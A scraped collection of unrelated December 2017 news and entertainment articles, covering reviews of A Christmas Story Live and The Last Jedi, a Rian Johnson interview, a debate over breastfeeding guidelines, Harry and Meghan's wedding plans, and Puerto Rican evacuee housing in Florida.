I like musicals, and Ive even enjoyed some of the recent efforts to make live television events out of them (NBCs The Wiz and Foxs Grease both come to mind), but A Christmas Story Live! had a too-gooey center and a phony sense of seasonal exuberance. The music and direction added a cutesy layer that undermined the genuine sweetness that already existed in A Christmas Story as well as its rougher, less-sentimental edges. This might have been a better opportunity to try to entice the finicky American attention span with a comedic play  words only.

Related stories from TheWrap:

Ratings: 'Sunday Night Football' (and Everything Else) Tramples 'A Christmas Story Live'

'A Christmas Story Live' Delivers Lump of Coal to Fox in Early TV Ratings

Jane Krakowski and Chris Diamantopoulos Join Fox's 'A Christmas Story Live!'

Live TV Musicals Ranked by Ratings, From 'Sound of Music' to 'A Christmas Story' (Photos)
Darkness rises, and light to meet it, warns evil supreme leader Snoke (Andy Serkis). Its a fitting summary of Star Wars: The Last Jedi.

When Luke Skywalker (Mark Hamill) says, This is not going to go the way you think, believe him. There is a sequence in The Last Jedi that is so jaw-droppingly satisfying, fans will forever remember the moment they first saw it. There are also well-placed moments of levity that offer laugh-out-loud relief from all the casualties of the long-standing war, like Chewbaccas chance encounter with the films most adorable and cuddly new creatures, the porgs.

The latest installment of the beloved franchise picks up right where 2015s The Force Awakens left off: in the midst of a battle between good and evil.

Under direction from General Leia (Carrie Fisher), Poe Dameron (Oscar Isaac) leads members of The Resistance in a dazzling space combat sequence against Snoke, General Hux (Domhnall Gleeson) and the rest of the First Order in an effort to gain much-needed ground in their ongoing war. When the attack takes a lethal turn, Dameron must resort to even riskier acts of rebellion with help from Finn (John Boyega) and plucky newcomer Rose (Kelly Marie Tran), who embark on a mission to disable a major source of the Orders firepower. Their journey takes them to a brand new corner of the galaxy  the wealthy arms-dealing planet Canto Bight  where a mysterious but resourceful stranger DJ (Benicio del Toro) provides their only option for potential success.

Star Wars: The Last Jedi

Elsewhere in the galaxy on a small island far far away, Rey (Daisy Ridley) looks to reluctant and reclusive Jedi Master Luke Skywalker for apprenticeship in the ways of the Force, desperately hoping to gain insight into her past and the skills she roused in The Force Awakens. Along the way, her search for truth reveals a startling connection to Lukes patricidal former pupil Kylo Ren (Adam Driver). Her growing strength also forces her Master to reveal a long-kept secret about what really pushed Han Solo and Leias son to the Dark side.

Writer/director Rian Johnsons entry into the Star Wars canon is rebelliously bold at times and full of rousing surprises, which make up for a few lulls in the lengthy two-and-a-half-hour run time. And the films foundation is built firmly on the franchises strong (and timely) message of optimistic resilience, which always keeps us coming back for more.

Ridleys Rey and Drivers Kylo Ren leave lasting impressions here, particularly when looking ahead to what might happen in Episode IX. Franchise newcomer Laura Dern also enjoys an important scene-stealing moment as Vice Admiral Amilyn Holdo.

However nothing tops the nostalgic high delivered by the moving performances from Luke and Leias Hamill and Fisher, made all the more memorable knowing its the late actresss final, fitting bow in the role.

Star Wars: The Last Jedi opens in theaters Dec. 15.
Disney / Getty Image

If you have not seen Star Wars: The Last Jedi and do not want to read massive spoilers, please stop reading. This is not a test, please stop now.

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Okay, if youre still with us, that means youve probably seen The Last Jedi and you might have a lot of questions about some of the more shocking moments in the film. The good news is, we have some answers. (Beyond confirming The Last Jedis dorkiest reference, which Johnson talked to us about previously.) On Friday, we spoke to writer and director Rian Johnson about three very specific plot points of The Last Jedi. (Again, this is your last warning.) More specifically

 The return of an old friend from the Original Trilogy and Prequels that we were not expecting to see. And how, specifically, this old friend is the way we remember him from The Empire Strikes Back and why that was so important. (Also, Weird Al is a topic.)

 The mysterious Snoke, and why what happens to him happens the way it does.

 The fate of our old friend, Luke Skywalker. And why Lukes destiny had to be a contrast to that of his old pal, Han Solo.

You fulfilled Weird Al Yankovics prophecy that Luke would be making movies with his Yoda until the end of time

[Laughs.] The long term contract I had to sign, well be making these movies until the end of time. Oh, I can recite the whole song

With my Yoda.

Oh, that was on my mind. I should have just had that song when that scene played out.

That would have been great.

I should have, man. I really should have.

Was that always a character you wanted to bring back?

Yeah, it made a lot of sense, I think.

You went with The Empire Strikes Back version of Yoda, the ornery version.

That felt really important to me. And, actually, I cut some of that out and Frank Oz said to me I had to put it back. Because when I first pitched him the scene, its like the Luke from Empire is back because thats the one Luke had the emotional connection with. And thats why we did the puppet and recreated the Empire puppet: Neal Scanlan and his team did a recreation of the Yoda puppet. Its not only a puppet, its an exact replica of the Empire puppet. They found the original molds for it. They found the woman that painted the original eyes for Yoda. Then Frank came and worked with them for a few weeks to get the puppet right. He did a lot of testing and a lot of adjusting with the puppet creators. It was amazing to watch the process. The idea that the last time Luke saw Yoda was in Return of the Jedi and the notion of getting back to that version of Yoda to form the emotional connection with Luke  including a glimpse of the impishness, as part of their relationship. It made a lot of sense.

Story continues

Youre going to poo-poo this, but with Snoke it almost felt like you didnt know where he was going anyway, so lets just get rid of him.

[Laughs.] Um, no, yeah, thats not really the driving force behind it. But I did definitely think the notion behind this movie, for me, from the start, was to evolve Kylo into a complicated, more solid villain. I guess villain, for lack of a better word. But someone who takes the reins and steps up and is no longer just pretending to be Vader, but has become his own version of a formidable force. And going into Episode IX, thats the strongest launching pad. Thats where you want to put your money down. And if youre dealing with a superior of his, that just seemed less interesting to me than clearing the deck so Kylo can be the main guy. And it gives an opportunity for a big, dramatic beat thats really interesting and we get to have some fun with him.

Did you debate how to end it with Luke, or was that always the plan?

Well, I debated it a lot, but it was always in my head that always made sense to me for a lot of different reasons. First of all, this is Lukes movie. Mark gives a great performance in it. His journey back to taking on the mantle of the legend of Luke Skywalker, basically  something he had rejected as being unhealthy for the universe. And him coming around to realizing that the galaxy needs this  I need to be the legend they need me to be, and taking that on his shoulders. Once he does that and comes back and does this heroic act thats going to resonate throughout the universe, the notion that then thats the moment to give him his final bow. And thats the most emotionally potent time to do that made a lot of sense. And, honestly, thinking about the number of characters we have on our plate going into the next movie  and Im not working on the script for IX with J.J. [Abrams] and Chris [Terrio] and I want to be totally clear I dont know what theyre doing  but it just vaguely seemed good to me that putting Luke in another realm could open possibilities for his possible involvement in the next one. As opposed to him just being another character that had to be juggled into the plot, if that makes sense.



Did you ever think this was going to happen someday anyway, so you should be the one to do it because you knew how to do it?

No, no, that was never at all In fact, I was always like, oh God, this has to happen here. It was a slight feeling of dread and nervousness over the responsibility of doing it and doing it right. But I did it because it felt like the right time and it felt like the right place.

Did you ever worry about after what happened to Han Solo in The Force Awakens audiences might not be able to take this back-to-back?

Well, first of all I wanted it to be a contrast to Han in VII. In that Han in VII was violent and it was a defeat. Whereas Luke, I wanted it to be peaceful and a victory. I wanted him to win with this. So I thought, from the very start, thats how I wanted it to feel. And the other element of it is it just rung true for me. It rung true for Han and it rings true with Luke. So many of us who grew up with these movies are at a place in our lives where we had people we had in these positions of mentorships are starting to get older and starting to deal with  whether its losing them or just our relationship with them changing and it becoming something else, its an element of life that I think a lot of people of my age who are Star Wars fans are starting to deal with. It felt emotionally honest to have that in there as well.

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The Thomas Fire in Santa Barbara has been blazing for the last two weeks, destroying more than 1000 structures in the process. The third largest fire in Californias history is still only about 45% contained, but has already cost authorities hundreds of hours of dangerous work and well over $130 million. While many residents have since evacuated their homes, actor Rob Lowe stayed behind on Sunday to fight the flames alongside some local firefighter heroes.

As TMZ reports, Lowe was spotted (above) joining the front lines, suited up and hose in hand. Later that evening, the former Parks and Recreation star then invited that same fire crew over to his home for a dinner of burgers and spaghetti as a token of his appreciation for all theyve done for the community.

Check out more photos below courtesy of TMZ.

screen shot 2017 12 18 at 1 25 59 pm Rob Lowe suits up to battle Thomas Fire in Santa Barbara, feeds firefighter crew

Lowes home, with the fire raging in the background

screen shot 2017 12 18 at 1 26 21 pm Rob Lowe suits up to battle Thomas Fire in Santa Barbara, feeds firefighter crew

Firefighter crew dining in Lowes home

screen shot 2017 12 18 at 1 26 30 pm Rob Lowe suits up to battle Thomas Fire in Santa Barbara, feeds firefighter crew

Lowe with the crew




When a model whose career is built on being the face of a lingerie behemoth says shell no longer strip down just for the sake of it, its worth taking note. This was the case recently when Victorias Secret veteran Adriana Lima took to Instagram with her declaration.

I realized that a majority of women probably wake up every morning trying to fit in a stereotype that society imposed. I thought, thats not a way of living and beyond that, thats not physically and mentally healthy. So, I decided to make that change. I will not take of my clothes anymore for an empty cause, the model wrote on Instagram on Dec. 9. Over the weekend, in an apparent response to the reactions, she posted, Not everyone deserves to know the real you. Let them criticize you they think you are.

Adriana Lima, left, and Emily Ratajkowski. (Photo: Getty Images)

(Its worth noting that another Victorias Secret angel of years past, Heidi Klum, made similar comments when she warned young models in 2013 that they shouldnt get nude during photoshoots simply because photographers ask them to.)

Lima insisted through representatives that the claim was not made in response to the recently aired Victorias Secret Fashion Show, which was Limas 18th appearance on the broadcast, and some, like Fashionista, speculated that Lima might instead have been reacting to the Love magazine Advent digital video calendar, in which models and celebrities are filmed in their lingerie doing everything from ballet exercises to rolling around in a heap of spaghetti. (Cue Emily Ratajkowski, who did just that.)

Model Emily Ratajkowski in the Love Magazine Advent digital video calendar 2017. (Photo: YouTube/Love TV by Love Magazine)

Ratajkowski, whose career was catapulted after her debut in the racy Blurred Lines music video, has repeatedly defended what some call hypersexualized posts that detractors say undermine her feminism. In response to Ratajkowskis appearance in this years Love Magazine Advent calendar shoot, for example, Piers Morgan, the British media personality who frequently criticizes Ratajkowski, said, Do you really think [British suffragette] Emmeline Pankhurst fought for Emily Ratajkowskis right to writhe semi-naked in spaghetti, post it to millions on social media & then feign indignant outrage at being sexually objectified?

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Ratajkowski responded that explicit sexuality and feminism are not mutually exclusive ideals, which is not quite the same take as Limas. (Research exploring the relationship between sexy images of women and objectification, and separate research exploring how sexy images of women signal to others that women are less competent, complicates Ratajkowskis take.)

Lol never said my love video was a feminist statement. But now its worth saying that telling women what to do with their bodies & sexuality is actually just classic sexism. I can have opinions about feminism & also do sexy photo shoots k thanks  Emily Ratajkowski (@emrata) December 7, 2017

So which is it: Is a woman better off reclaiming her sexuality by covering up? Or by getting naked? Is the secret to being a truly empowered feminist lie in rejecting misogyny and objectification via Instagram likes? And what is an empty cause for nudity versus a worthy one, anyway? Even the New York Times wondered: Is there room for pinups in a post-Weinstein world?

The politics of female sexuality today are just the latest extension of the feminist sex wars of the 1970s, in which women debated whether or not you could be a true feminist and also support pornography and erotica. One might say the contemporary debate extends to things like the Victorias Secret Fashion Show and the Love Magazine Advent calendar.

But to bifurcate the debate in that way is unproductive, and doesnt address the root of the issue. When the Hollywood Reporter asked designer Prabal Gurung whether the red carpet was becoming less sexy in light of the #MeToo movement, he responded, Women can dress however they want to, show their body or cover it; as a designer, my job is to provide options. Being sexy or not is an individual choice  the problem is the gaze.

Ah, the good ol male gaze. Tara Well, who has written about how women can reclaim the male gaze as their own, agrees, but says that your own intentions matter.

For example, are you posting for outside validation? Or because its your job, and youre making money? For women, they have a certain social capital of being sexy and beautiful and thats a commodity recognized in our culture. So to blame women for using that as leverage to do what they want in their life and make a good living and develop a following for causes that are important to them, I dont think you can blame women for that, Wells adds.

That would certainly bolster Ratajkowskis defense; she told the Love Magazine about her shoot, Im tired of having to consider how I might be perceived by men if I wear the short skirt or post a sexy Instagram. I want to do what I want to do. Feminism isnt about adjusting; its about freedom and choice.

But not all researchers agree. The real crux of the issue is not any one persons posts or photos, rather the media system overall which values women primarily as sexual beings, says Elizabeth Daniels, a professor at the University of Colorado who has studied the impact that media representations of women have on girls.

We are seeing a shift with the body positivity movement where its becoming more prevalent for celebrities and individuals to speak out about the oppression of the thin ideal and artificially created bodies we see in our media system, but its not going far enough, Daniels says. We need to address the underlying gender stereotype that women should be valued for more than their bodies.

Daniels also says that no matter what ones intentions may be  in this case, with the Victorias Secret Fashion Show, which producers say is to empower women while critics say it is to push product through sex  the consequences do more harm than good to the broadcasts youngest viewers.

In her own research, Daniels found that showing school-age girls images of elite female athletes drew from adolescent girls and young adult women more positive feelings about their bodies than sexy pictures of models, which tended to produce negative feelings.

A gray area, then, might be this years Love Magazine Advent video calendar, for which Ratajkowski performed. The theme was womens strength: Ashley Graham pushed a weighted sled down the street, Bella Hadid swung a sledge hammer at a tire, Kendall Jenner shadowboxed, and Winnie Harlow stretched. But they all wore lingerie.

That issue when we talk about whether something is empowering or not is that were talking about it with adults. Thats fine, but its a mistake not to mention that girls are affected by what happens in media environment, and since they dont have the cognitive skills adults have to analyze media and see that advertisements are selling products, theyre left disillusioned, Daniels says. And when brands create dissatisfaction [with ones self], more products get sold.

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Scores of parenting sites and Facebook commenters remind mothers, relentlessly, that breast is best. (Photo: lolostock via Getty Images)

Before she had her first baby two years ago, Stephanie, 36, was hellbent on following the breastfeeding guidelines set forth by major public health organizations to the letter: Her son would get nothing but breast milk for the first six months and she would continue to breastfeed him for at least a year.

Almost immediately, Stephanies plans began to slip away from her. She was rushed into an emergency cesarean section that left her utterly drained. She nursed her newborn around the clock, but he struggled to bulk up and required regular weigh-ins. About one month in, Stephanie met with a lactation consultant who watched her nurse and offered an assessment: First, the babys mouth had some structural issues that can make latching difficult. And second, he wasnt getting enough food.

She said, Just feed him a bottle and I guarantee he will be a different child, said Stephanie, a Virginia-based attorney who requested that only her first name be used. I gave him one and he sucked down two ounces and immediately fell asleep. From that point on, we supplemented with formula.

Stephanies relief was instantaneous. Her baby was finally satisfied. Her husband could give him a bottle at night, which let Stephanie stitch together more than an hour and a half of continuous sleep. That rest provided a small buffer against the symptoms of anxiety that had sprung up during her pregnancy.

But she also felt as though she was  as she described it  in mourning. No one in her life expressed any kind of disappointment in her decision to supplement with formula, but Stephanie felt like she had failed her first big test as a mom.

They paint it as if breastfeeding is the most natural thing you can do  so when you fail at it, youre failing at something you should have been able to do as a woman, said Stephanie, who eventually switched over to formula entirely.

And they in this case truly means everyone  from major medical organizations to overzealous strangers who scold moms for buying formula. The American Academy of Pediatrics (AAP) recommends exclusive breastfeeding  which means only breast milk and any necessary medicines and supplements, no other liquids or foods  for the first six months of a babys life. So does the World Health Organization (WHO). Then there are the scores of parenting sites and Facebook commenters who remind mothers, relentlessly, that breast is best.

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But there are reasons to consider modifying the goal of only breast milk for six months, because women dont have enough support to hit that target. And the science behind that goal isnt as black-and-white as many evangelists make it seem. Historically, many studies have failed to differentiate between exclusive breastfeeding and any breastfeeding, meaning women who have given their babies some breast milk, but not necessarily only breast milk.

Breastfeeding rates declined steadily in the first half of the 20th century as formula became readily available and was widely marketed to mothers. But they began to creep up again by the 1970s thanks to groups like La Leche League and studies suggesting breastfeeding keeps babies alive. By 1989, the U.S. Surgeon General was proclaiming that breastfeeding benefits society at large and by 1997, the AAP recommended exclusive breastfeeding for the first six months of a babys life.

But the fact remains that there are far more mothers around the world who do not feed their babies breast milk only for the first six months of their lives than there are women who do. Globally, only 40 percent of babies are still exclusively breastfed until six months, according to the World Health Organization. In this country, only 41 percent of babies are exclusively breastfed at three months, and by six months closer to 20 percent are. The WHO and UNICEF have said there is not one single country  anywhere  that sufficiently supports breastfeeding mothers through measures like paid parental leave, workplace protections for moms who pump and access to breastfeeding help. Issues like these are also infinitely more challenging for low-income women with unstable jobs.

So why has the recommendation of six months exclusive breastfeeding become public health gospel both here and abroad  a target that so many mothers strive for and so many fail to reach?

A Blunt Approach To A Nuanced Problem

There are plenty of health benefits associated with breastfeeding, particularly in poor, resource-strapped countries. The WHO recommends exclusive breastfeeding for six months in no small part because it helps prevent diarrhea in areas where contaminated food and water are common, and where recurrent infections regularly lead to life-threatening malnutrition. One in 9 child deaths worldwide are due to diarrheal diseases, making it the second leading cause of deaths in children under the age of 5.

The fact that breastfeeding very clearly reduces those types of infections in parts of the world where they remain a clear, deadly threat explains why  from a global public health perspective at least  it is incredibly important to promote, Dr. Valerie Flaherman, an associate professor of pediatrics at the University of California, San Francisco, told HuffPost.

Notably, poorer countries tend to have higher rates of breastfeeding than wealthy ones partly because many dont have what some Western researchers call a bottle culture, where breastfeeding isnt the norm and is even looked on as somehow shameful or sexual, and partly because its much more clearly a matter of life and death.

But in developed countries, the immediate benefits of breastfeeding are not necessarily as clear-cut, because diarrheal disease is not a major cause of infant mortality here, Flaherman said.

That is why the AAP tends to highlight other health research in its promotion of breastfeeding to American doctors and moms. The group points to research that has shown a decreased risk of respiratory tract infection, a reduced risk of Sudden Infant Death Syndrome and even a drop in the risk for Type 1 diabetes. The AAP also singles out the potential benefits for moms, like decreased postpartum blood loss and even a drop in subsequent breast cancer risk.

But while many of the studies that are the basis of the AAPs recommendations distinguish between exclusive breastfeeding and any breastfeeding  i.e. moms who offered their babies some amount of breast milk, but not necessarily only breast milk  others do not. Researchers will not perform randomized controlled experiments directly comparing outcomes in women who exclusively breastfeed, versus those who supplement or opt for formula altogether, which means there is always the chance that the benefits suggested by some studies have more to do with confounding factors than breast milk itself.

That is one reason why a growing chorus of researchers and writers have begun to view breastfeeding not quite as the orthodoxy it once was. In 2013, Flaherman published a very small study that suggested giving some newborns a little bit of formula early on may improve their breastfeeding rates at three months and decrease the likelihood of them being fed formula months later. Last spring she presented findings from a slightly larger follow-up investigation that suggests giving newborns whove lost a lot of weight some formula does not necessarily hamper breastfeeding rates. She is currently at work on research looking at the gut health of babies whose mothers supplemented in the first three months versus those who did not to see what differences, if any, exist.

Although those studies have been small, they have generated significant media attention  in part because they offer exhausted moms the appealing possibility that breastfeeding does not necessarily have to be all or nothing as the public health goals would seem to suggest. A sweeping 2016 review of studies looking at the exclusive breastfeeding recommendations found there was no reason to change the existing guidance on exclusive breastfeeding. But this wasnt because the idea of supplementing is somehow preposterous. It was because the quality of the existing research on the topic is insufficient.

The full truth is that many babies end up requiring some formula at some point despite maternal intention to breastfeed exclusively, Flaherman said. Some of the countries that are held up as models of breastfeeding success, like Norway, are full of mothers who supplement. Surveys suggest that from the 1960s to the early 2000s, the number of moms breastfeeding jumped from 20 to 80 percent, but six months out only 10 percent of those babies were being given breast milk alone.

Yet many moms feel supplementing is something they must keep secret or that others will judge them for  even if they themselves believe its the only thing keeping their babies happy and fed.

Like Ellen Walter, a 29-year-old mom of a six-month-old. Her daughter has been getting formula off and on from day one following an overnight in the neonatal intensive care unit that led to some initial breastfeeding challenges. She believes that giving her daughter some formula is one of the primary reasons she is still breastfeeding, as it relieved the emotional and physical pressure she felt while waiting for her milk to come in. Now she gives her daughter one bottle of formula a day and breast milk the rest of the time, but she doesnt really talk to her friends and family about what shes doing.

Even close friends who know this is what I do, they kind of ignore it, she said. I think they basically dont want you to know theyre judging you.

The reality is that while there certainly are women who adore breastfeeding, and who are extremely successful at it, not every woman can make enough breast milk to breastfeed exclusively, Alison Stuebe, a maternal-fetal medicine physician and medical director of lactation services at University of North Carolina Health Care, told HuffPost.

It seems like an obvious statement, yet the internet is awash with articles and comments aimed at reassuring moms that their perceived lack of milk is just be in their head, and warning them that if they start supplementing with formula their supply will drop and eventually disappear altogether. Online stores and mom blogs peddle fixes like breastfeeding teas and cookies, which to a woman who is struggling with genuine physiological challenges can make it seem like all thats missing is a little bit more hard work and ingenuity.

I do think that some folks who are evangelists for breastfeeding dont recognize that it is humanly possible to not produce enough milk, Stuebe said. You would never say to someone with diabetes, Just squeeze your pancreas more.

A Pressing Need For More Support

Then, of course, there is the reality that for working mothers exclusive breastfeeding means months of pumping on the job.

One-quarter of moms are back at work within two weeks of giving birth  when theyre still bleeding through their postpartum mesh underwear and mastering the mechanics of sustaining a newborn with nothing but their own breasts  and America has the dubious distinction of being the only developed nation in the world without a paid leave for new moms or dads. Many mothers begin to supplement when they return and find that fitting in ample pump breaks is impossible, or even if they do their pump simply cant do as good of a job of keeping their supply up as having a hungry baby at the breast.

The real problem, Stuebe believes, is not the core recommendation that all women should exclusively breastfeed for the first six months; it is how that recommendation is communicated to mothers and what is done to actually support them.

Nicole, 35, had been back at work for about a month when she sent her daughter to daycare with a formula bottle for the first time. She got only one break a day to pump  two on good days  and by the time her daughter was 4 months, she simply could not keep up with her appetite. At daycare, her daughter got a mix of formula and breast milk. At home, they nursed.

She was at peace with it. It was what it was, said Nicole, who also asked to use only her first name. My daughter needed to eat. But other moms take their inability to meet the breastfeeding goals set forth by experts personally, almost like a moral failure. They write personal essays asking if theyre a failure for supplementing with formula, and head to forums in the middle of the night seeking reassurance from other moms.

I think the huge disconnect, Stuebe said, and this is true of all public health recommendations, is our American concept of, you know, pull-yourself-up-by-your-bootstraps. That if we tell people, exercise 150 minutes a week, thats all we need to do.

Yet public health officials say they are confident things are moving in the right direction  and that more can be done to support women in reaching breastfeeding goals rather than scrapping them altogether. Roughly 80 percent of moms in this country now at least start out breastfeeding and more than half are still giving their babies some breast milk at six months, a clear indication theyve gotten the message that breastfeeding has benefits for them and their babies, Dr. Joan Younger Meek, chair of the American Academy of Pediatrics section on breastfeeding, told HuffPost. There are other hopeful signs, like the fact that there are far more highly trained lactation consultants who can help women address their breastfeeding challenges than there were just a decade ago.

But [women] experience a lot of challenges, Meek said. I think our biggest work now is how do we eliminate those barriers to help them be successful, and ultimately support them in whatever feeding choices they end up making. You know, we dont have to play the blame game.

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Every detail we know so far about Prince Harry and Meghan Markles 2018 royal wedding

They announced their engagement just a few weeks ago, but Prince Harry and Meghan Markle are already deep into wedding planning. Heres what we know so far:

WHEN: May 19, 2018

During a special briefing at Buckingham Palace on shortly after the engagement announcement, officials revealed that the wedding will take place in May of next year. On Dec. 15, Kensington Palace confirmed that the wedding will take place on Saturday, May 19. Notably, Prince Harrys sister-in-law, Kate Middleton, is due to welcome her third child with Prince William just one month before. William and Kates own wedding date was also in the spring: April 29, 2011.

WHERE: St. Georges Chapel at Windsor Castle

Windsor is a very special place for Prince Harry, and he and Ms. Markle have regularly spent time there during the last year, Kensington Palace spokesman Jason Knauf previously said. They are delighted that the beautiful grounds of Windsor Castle will be where they begin their lives as a married couple.

The chapel is located in Windsor Castle, with a capacity of 800  compared to Westminster Abbey (where Prince William and Princess Kate wed), which holds up to 2,000.

Related article: Major royal wedding dress clue! Israeli designer confirms she sent a sketch to Meghan Markle

St. Georges Chapel dates back more than 500 years, and has been the site of many royal weddings, including the children of Queen Victoria. The most recent royals to be married at the chapel were Harrys father, Prince Charles, and Camilla, Duchess of Cornwall in 2005.

WHO WILL OFFICIATE:

It currently remains unclear if the Archbishop of Canterbury Justin Welby  the most senior bishop in the Church of England  will officiate the wedding. Meghan will be baptized in the church ahead of the nuptials, though.

WHO WILL ATTEND:

The royal family  including Prince William and Princess Kate, and their children, as well as the Queen  will of course, be in attendance, as well as Meghans parents: mom Doria Ragland and dad Tom Markle.

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But what about some of Meghans famous friends? The Suits alum is close with her co-star Patrick J. Adams, as well as actress Priyanka Chopra.

Prince Harry also has a highly-publicized friendship with former President Barack Obama and his wife Michelle Obama, who shared their congratulations on Twitter.

WHO COVERS THE COST:

The royal family will foot the bill for the key parts of the wedding tab, including the church service, flowers, decorations and the reception, Knauf confirmed on Tuesday.

WHAT MEGHAN WILL WEAR:

Meghan has previously shared some of her favorite wedding dress designers, including Elie Saab and J. Mendel, but right now its anyones guess whom shell turn to for the big day.

Related article: No royal reservations! Windsor hotel rooms are booking up after Prince Harry and Meghan Markles wedding date announcement

I think Meghan will choose an effortlessly chic gown with clean lines and minimal detail, British bridal designer Suzanne Neville told PEOPLE. I think the dress will be elegant and traditional, but with a modern twist.

The future royal has also previously revealed that her favorite celebrity wedding dress of all time was the chic and simple dress Carolyn Bessette wore when she tied the knot with John F. Kennedy Jr. The now-iconic dress was designed by Narciso Rodriguez and resembled a sexy slip.

THE RECEPTION:

A former Windsor Castle staffer previously told PEOPLE that the couple will likely hold their reception in the Waterloo Chamber, St. Georges Hall and the Grand Reception Room within the castle.

The Christmas party is always held there. Theyll hold the wedding reception there, too. It is a well-proven system and arrangement, the staffer said.

The set of rooms  and the Grand Reception Room in particular  are often the sites of big events, including state dinners that the Queen hosts for visiting foreign heads of state.

THE CAKE:

According to The Telegraph, Meghan and Harry are planning on getting a banana cake for their wedding. The reason? Harry reportedly loves bananas and Meghan had shared a fruit-themed clue on her Instagram when the two were first dating.
A Wisconsin firefighter won the worlds heart when he proposed to his girlfriend of two years Thursday evening. Matt Poliak presented not one but two rings when popping the question. But thats because he had two people to ask.

First he proposed to his girlfriend, then he made sure her daughter was OK with it. (Photo: Facebook/Liz Rensch)

The firefighter with the Menomonie Fire Department was walking in their magical Winter Daze Parade and his girlfriend, Grace Johnson, and her daughter, Isla, were in the crowd. The parade came to a stop and Isla ran out to greet Matt. Grace followed. Thats when he got down on one knee in front of his decked-out fire truck and presented a ring to Grace, asking for her hand in marriage. The crowd went wild as she said yes. But the excitement didnt end there. Matt had another woman to win over Graces adorable 2-year-old daughter. He got down on one knee again and whipped out another ring, presenting it to Isla, who couldnt say no to what Fox says was another diamond. Shes one lucky girl.

Lucky for us, Matts sister captured the whole thing on video, which she shared on Facebook. The video got picked up by multiple news outlets, and it has now amassed almost a half million views. It even got a spot on the Today shows Morning Boost with Hoda Kotb.

We love a guy who acknowledges the importance of family during a proposal, like Michigan man Kevin Hatline, who did the same thing when proposing to his girlfriend, Elizabeth. After a surprise proposal in front of a crowd of hundreds, Kevin turned to Elizabeths daughter, Madeleine. He asked her how she felt about us getting married, and then he got down on one knee and asked if he could be her forever daddy, Elizabeth told Yahoo Beauty. During the actual wedding, Kevin got down on one knee and placed a silver heart-shaped necklace that read I may not have given you life, but life has given me you around the girls neck.

Will Eaton of Santa Claus, Ind., proposed to 23-year-old Ashley Schaus during an annual family photo shoot, but he first asked her 15-year-old sister, Hannah, to be his Best Friend Forever. Hannah, who has Down syndrome and diabetes, will always need to be in her older sister Ashleys care, a USA Today story noted. At the wedding, Will and Hannah shared best friend vows, USA Today reported, and a first dance to Best Friend by Harry Nilsson during the reception. Weddings arent all about love and lust and everything. Its about bringing two families together. Im bringing Hannah as my family into this.

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It seems Matt feels the same way.

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Every dignitary around the world probably wants to get on the guest list for Prince Harry and Meghan Markles wedding in May 2018  and social media thinks Ivanka Trumps included.

Ivanka Trumps come under fire for her belated tweets to Harry and Meghan. (Photo: Getty Images)

On Friday, the first daughter tweeted out a belated congratulations to the couple, who announced their engagement in late November. Wishing Meghan and Prince Harry a lifetime of love, laughter and happiness together, she shared. I have no doubt this couple will do extraordinary things, both individually and collectively. Congratulations!

1:2 Wishing Meghan and Prince Harry a lifetime of love, laughter and happiness together. https://t.co/fgjJhCfYnrhttps://t.co/8YP3Nzef5I  Ivanka Trump (@IvankaTrump) December 15, 2017

2:2 I have no doubt that this couple will do extraordinary things, both individually and collectively. Congratulations!  Ivanka Trump (@IvankaTrump) December 15, 2017

Trumps well wishes were soon the target of online trolls, who accused her of trying to lock in an invite to the couples wedding next May at St Georges Chapel in London.

They don't want your family at their wedding #Sad  Top Rope Travis (@TopRopeTravis) December 15, 2017

They dont care what you wish them. They dont like you and yours any more than we do. #BritsAreSmart  LetsSaveAmerica (@Donnaphoto) December 16, 2017

Aww how sweet but I dont think yall are gonna get invited  Mike MacCormick (@DFWsMrFantastic) December 15, 2017

Gives pause about why Kremlin Barbie would tweet this other than fishing 4 an invite. Could she seriously not get how much disdain the Royal Family has for #TrumpCrimeFamily? https://t.co/UXPFvfCJiF  Shannon Bearman (@BearmanShannon) December 16, 2017

While Prince Harry famously met Ivankas mother-in-law, first lady Melania Trump, in Toronto while hosting the Invictus Games in September, theres no word on whether hes met with Ivanka.

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Will thousands of Puerto Ricans be kicked out of their temporary housing in Florida next month?

That is the worst-case scenario emerging because the Puerto Rican government has not formally requested FEMA assistance for housing aid for the more than 200,000 evacuees who have arrived in Florida, according to Democratic members of the Florida House and Senate who are raising the alarm. Here is their release:

Florida Legislators Call on Puerto Rican Government to Request Aid for Evacuee Housing Needs in Florida

TALLAHASSEE - Democratic Senate and House members of the Florida Legislature on Monday sent a formal letter asking Governor Ricardo Rossello of Puerto Rico to request FEMA assistance with housing evacuees currently living in Florida. More than 200,000 American citizens have arrived in Florida from Puerto Rico since September when the island was devastated by Hurricane Maria. Many of those evacuees are staying with family or friends while some are living temporarily in hotels paid for with FEMA vouchers.

The hotel voucher program, known as TSA (Temporary Sheltering Assistance), is scheduled to expire January 15, 2018. Additionally, many evacuees are looking for apartment or housing rentals but since the Puerto Rican government has not requested FEMA approve the direct lease program to pay rental fees for those evacuees in Florida, no financial assistance is currently available. Florida already has a shortage of available affordable housing units and without FEMA assistance, local and state government agencies have limited resources to ensure housing options for the evacuees.

We have been meeting and working with State Emergency Management officials for months, but many of the programs available under FEMA can only be approved if the government of Puerto Rico asks for them to be implemented, said Senator Victor Torres, of Orlando. There are tens of thousands of families living in Florida and if just one family becomes homeless due to lack of action by the Federal government or those officials making decisions in Puerto Rico, it is one family too many.

Senator Linda Stewart echoed Torres remarks. Its imperative that we work this out with the government of Puerto Rico, she said.

Representative Robert Asencio, of Miami added: These disasters have no quick remedy, yet it is both frustrating and heartbreaking to have to tell Puerto Rican families in South Florida that further assistance may not come due not to lack of resources, but to inaction. It is imperative that we get FEMA support to rapidly and effectively help these families. The time to make that request is now.

Puerto Ricans will be here, theyre trying to establish here, theyre trying to work, theyre trying to get their kids enrolled in school, theyre trying to find a safe environment and a place to live, said Representative Amy Mercado, also of Orlando. We are failing them if were not doing the job here trying to navigate affordable housing funds for their intended purpose.

Representative John Cortes, of Kissimmee, agreed: We must explore every option available to help our fellow citizens get the resources they need to get back on their feet.

Photo: Hurricane Irma evacuees, Miami Herald files
Photo: Getty.

Royal families send out holiday cards, too. Prince William and Kate Middleton have officially revealed their 2017 holiday card, featuring mini royals Prince George and Princess Charlotte. Kensington Palace released the photo on Twitter.

Unlike last years candid card taken while the family was visiting Vancouver, B.C, the family seemed to go for a more formal theme this year with a studio portrait. Prince William wore a suit while Charlotte and George posed in well-pressed outfits that matched their moms powder blue dress suit. This formal choice might have something to do with the fact that George and Charlotte are now slightly more likely to sit still for a portrait, at four and two years old, respectively

Charlotte is also gearing up for some important toddler steps. The Daily Mails Rebecca English confirmed on Monday that Charlotte will be attending the Willcocks Nursery School beginning in January 2018.

